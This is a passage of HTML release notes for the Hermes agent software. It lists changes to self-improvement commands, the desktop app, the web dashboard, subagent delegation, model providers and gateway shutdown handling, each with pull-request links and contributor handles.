<li><strong>verify-on-stop defaults OFF</strong> with a one-time v32 migration; skips doc-only edits; surface-aware "auto" default restored; gated off for messaging surfaces (<a href="https://github.com/NousResearch/hermes-agent/pull/53552" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53552/hovercard">#53552</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54740" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54740/hovercard">#54740</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55449" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55449/hovercard">#55449</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52412" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52412/hovercard">#52412</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/GodsBoy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/GodsBoy">@GodsBoy</a>)</li>
</ul>
<h2>🎓 Self-Improvement (Learn / Journey)</h2>
<ul>
<li><strong><code>/learn &lt;anything&gt;</code></strong> — distill a reusable skill from a directory, URL, or a workflow you just walked through; honors CONTRIBUTING.md skill standards and mixed requirements (<a href="https://github.com/NousResearch/hermes-agent/pull/51506" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51506/hovercard">#51506</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52372" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52372/hovercard">#52372</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55956" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55956/hovercard">#55956</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong><code>/journey</code></strong> — CLI + TUI learning timeline of accumulated memories and skills, with in-place edit/delete (<a href="https://github.com/NousResearch/hermes-agent/pull/55555" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55555/hovercard">#55555</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55859/hovercard">#55859</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>Cheaper background review</strong> — aux-model routing + context digest + adaptive cadence for the post-turn self-improvement fork (<a href="https://github.com/NousResearch/hermes-agent/pull/49252" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49252/hovercard">#49252</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong><code>memory</code> graph</strong> in the desktop — playable radial timeline of memories + skills over time (<a href="https://github.com/NousResearch/hermes-agent/pull/55226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55226/hovercard">#55226</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h2>🖥️ Hermes Desktop App</h2>
<h3>Coding cockpit</h3>
<ul>
<li><strong>First-class Projects</strong> — per-profile sidebar, coding rail, review pane, agent project tools (<code>project → repo → lane</code>); remote-gateway-aware folder picker + git cockpit (status, review, worktrees) (<a href="https://github.com/NousResearch/hermes-agent/pull/49037" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49037/hovercard">#49037</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54385" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54385/hovercard">#54385</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>Multi-terminal panel</strong> with read-only agent terminals; persist &amp; restore terminal tabs + scrollback across relaunch (<a href="https://github.com/NousResearch/hermes-agent/pull/54517" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54517/hovercard">#54517</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54585" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54585/hovercard">#54585</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>PR-style file diffs in chat</strong>; in-app spot editor for the file preview pane; inline rich embeds, diagrams &amp; alerts in assistant markdown (<a href="https://github.com/NousResearch/hermes-agent/pull/50731" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50731/hovercard">#50731</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52772" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52772/hovercard">#52772</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52935" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52935/hovercard">#52935</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>UX &amp; surfaces</h3>
<ul>
<li>Conversation timeline rail for long threads; context-usage breakdown popover; read-only spectator transcript for subagent watch windows; pop the composer into a draggable floating window (<a href="https://github.com/NousResearch/hermes-agent/pull/51094" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51094/hovercard">#51094</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54907" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54907/hovercard">#54907</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55033/hovercard">#55033</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49488" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49488/hovercard">#49488</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>)</li>
<li>Read replies aloud (auto-TTS) composer toggle; remember window size/position/maximized across launches; redesigned clarify prompt; shared overlay Panel primitive for cron/profiles/agents (<a href="https://github.com/NousResearch/hermes-agent/pull/55154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55154/hovercard">#55154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52086" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52086/hovercard">#52086</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52993" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52993/hovercard">#52993</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54558" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54558/hovercard">#54558</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Backup import/create/download from the web UI; add context-usage popover; flag already-installed themes in install pickers; config-driven Electron launch flags + GPU policy (<a href="https://github.com/NousResearch/hermes-agent/pull/54611" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54611/hovercard">#54611</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55410" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55410/hovercard">#55410</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53991" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53991/hovercard">#53991</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>Pets</strong> — roaming pet (opt-in), calmer/realistic roam, Alt+wheel scaling never cropped, frame-perfect hatch flow + CPU-safe chroma, pop-out overlay + notifications (<a href="https://github.com/NousResearch/hermes-agent/pull/55114" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55114/hovercard">#55114</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55400" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55400/hovercard">#55400</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52877" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52877/hovercard">#52877</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47959" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47959/hovercard">#47959</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52303" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52303/hovercard">#52303</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Refactor wave (composer / god-file de-entangle)</h3>
<ul>
<li>Decomposed the composer into isolated engine hooks; extracted branch/esc/url/placeholder/popout engines; split <code>thread.tsx</code>, <code>sidebar/index.tsx</code>, onboarding overlay, and <code>use-prompt-actions</code> god files into focused modules; shared WebSocket layer decoupling desktop from dashboard (<code>hermes serve</code>) (<a href="https://github.com/NousResearch/hermes-agent/pull/55500" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55500/hovercard">#55500</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55842/hovercard">#55842</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55451" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55451/hovercard">#55451</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55453" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55453/hovercard">#55453</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55807" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55807/hovercard">#55807</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55504/hovercard">#55504</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54568" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54568/hovercard">#54568</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>perf: bound tool-result rendering so big <code>/learn</code> runs don't freeze; fast session switching under load (<a href="https://github.com/NousResearch/hermes-agent/pull/52273" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52273/hovercard">#52273</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52620" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52620/hovercard">#52620</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h2>📊 Web Dashboard</h2>
<ul>
<li>Auto-initiate portal SSO redirect on unauthenticated load; interactive auth setup on no-provider non-loopback bind; confidential-client (<code>client_secret</code>) support in self-hosted OIDC (<a href="https://github.com/NousResearch/hermes-agent/pull/54846" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54846/hovercard">#54846</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50551" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50551/hovercard">#50551</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55344" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55344/hovercard">#55344</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li>Catalogue all memory-provider API keys in <code>OPTIONAL_ENV_VARS</code>; list &amp; add arbitrary custom <code>.env</code> keys on the Keys page; expose cron job execution fields; backup import/create/download (<a href="https://github.com/NousResearch/hermes-agent/pull/54546" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54546/hovercard">#54546</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54552" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54552/hovercard">#54552</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53551" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53551/hovercard">#53551</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54611" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54611/hovercard">#54611</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Offload PTY spawn/close off the event loop; exclude non-interactive providers from interactive login surfaces (<a href="https://github.com/NousResearch/hermes-agent/pull/53227" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53227/hovercard">#53227</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/53239" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53239/hovercard">#53239</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IAvecilla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IAvecilla">@IAvecilla</a>)</li>
</ul>
<h2>🏗️ Core Agent &amp; Architecture</h2>
<h3>Delegation &amp; subagents</h3>
<ul>
<li><strong>Background fan-out</strong> — parallel subagents run in the background, one consolidated return when all finish; calm "will resume" affordance for background <code>delegate_task</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/49734" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49734/hovercard">#49734</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52756/hovercard">#52756</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Track background subagents in the CLI + TUI status bar (<a href="https://github.com/NousResearch/hermes-agent/pull/51441" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51441/hovercard">#51441</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51485" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51485/hovercard">#51485</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Agent loop, tools &amp; coding context</h3>
<ul>
<li>One-shot LLM helper + <code>llm.oneshot</code> gateway RPC; expose coding-context project facts (<code>project.facts</code> RPC) (<a href="https://github.com/NousResearch/hermes-agent/pull/51261" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51261/hovercard">#51261</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51259" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51259/hovercard">#51259</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><code>web_extract</code> truncate-and-store instead of LLM summarization; concurrent @-reference expansion (<a href="https://github.com/NousResearch/hermes-agent/pull/54843" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54843/hovercard">#54843</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55207" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55207/hovercard">#55207</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Friendly human-phrased tool labels for built-in tools; <code>/reasoning full</code> (uncapped thinking); <code>/timestamps</code> + timestamps in <code>/history</code>; <code>/prompt</code> composes in <code>$EDITOR</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/55166" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55166/hovercard">#55166</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50499" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50499/hovercard">#50499</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50506" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50506/hovercard">#50506</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50509" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50509/hovercard">#50509</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Per-reasoning-model stale-timeout floor in stream + non-stream detectors; escalate SIGTERM→SIGKILL on host-pid termination after grace (<a href="https://github.com/NousResearch/hermes-agent/pull/52845" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52845/hovercard">#52845</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50489" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50489/hovercard">#50489</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Multiple <code>HERMES_WRITE_SAFE_ROOT</code> dirs; opt-in HTTP/WS body capture to an isolated, share-excluded <code>gui_bodies.log</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/53292" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/53292/hovercard">#53292</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49044" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49044/hovercard">#49044</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h3>Compression &amp; sessions</h3>
<ul>
<li>In-place compaction option (single session id); flip <code>in_place</code> default to True with a guard fix (<a href="https://github.com/NousResearch/hermes-agent/pull/49739" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49739/hovercard">#49739</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52658" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52658/hovercard">#52658</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Backup includes <code>projects.db</code> and kanban boards in the pre-update snapshot (<a href="https://github.com/NousResearch/hermes-agent/pull/52990" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52990/hovercard">#52990</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h3>Providers &amp; models</h3>
<ul>
<li><strong>Google Vertex AI</strong> first-class provider for Gemini over the OpenAI-compatible endpoint — auto-mints and refreshes short-lived OAuth2 tokens from a service-account JSON / ADC (no static key); salvages &amp; modernizes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4248493655" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/8427" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/8427/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/8427">#8427</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/slawt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slawt">@slawt</a> (<a href="https://github.com/NousResearch/hermes-agent/pull/56363" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56363/hovercard">#56363</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/slawt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slawt">@slawt</a>)</li>
<li>Krea via managed Nous Subscription gateway; Z.AI endpoint picker (Global/China/Coding Plan); Ollama-cloud reasoning_effort wiring; remove google-gemini-cli + google-antigravity OAuth providers (<a href="https://github.com/NousResearch/hermes-agent/pull/52647" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52647/hovercard">#52647</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52364" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52364/hovercard">#52364</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51494/hovercard">#51494</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50492/hovercard">#50492</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Honor <code>NOUS_INFERENCE_BASE_URL</code> env override for Nous OAuth; keep Nous auth fresh for idle dashboard/gateway agents (<a href="https://github.com/NousResearch/hermes-agent/pull/52270" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52270/hovercard">#52270</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50567" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50567/hovercard">#50567</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🌐 Gateway, Fleet &amp; Relay</h2>
<h3>Scale-to-zero &amp; drain</h3>
<ul>
<li><strong>Scale-to-zero idle detection + dormant-quiesce (Phase 0)</strong>; hardened dormancy guards; fixed arm-gate counting disabled placeholder platforms (<a href="https://github.com/NousResearch/hermes-agent/pull/52243" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52243/hovercard">#52243</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52359" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52359/hovercard">#52359</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/52831" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52831/hovercard">#52831</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li><strong>External drain coordination (safe-shutdown Phase 2)</strong>; suppress home-channel shutdown broadcast on flagged drains; persist in-flight transcript on restart/shutdown drain timeout; busy/idle readout for safe lifecycle actions (<a href="https://github.com/NousResearch/hermes-agent/pull/52937" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/52937/hovercard">#52937</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54824" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54824/hovercard">#54824</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50312" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50312/hovercard">#50312</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/50131" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/50131/hovercard">#50131</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Default <code>restart_drain_timeout</code> to 0 to kill a systemd crash loop; self-heal a gateway stranded in draining/degraded (<a href="https://github.com/NousResearch/hermes-agent/pull/54066" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54066/hovercard">#54066</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/55397" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55397/hovercard">#55397</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Relay (Phase 5 / 6)</h3>
<ul>
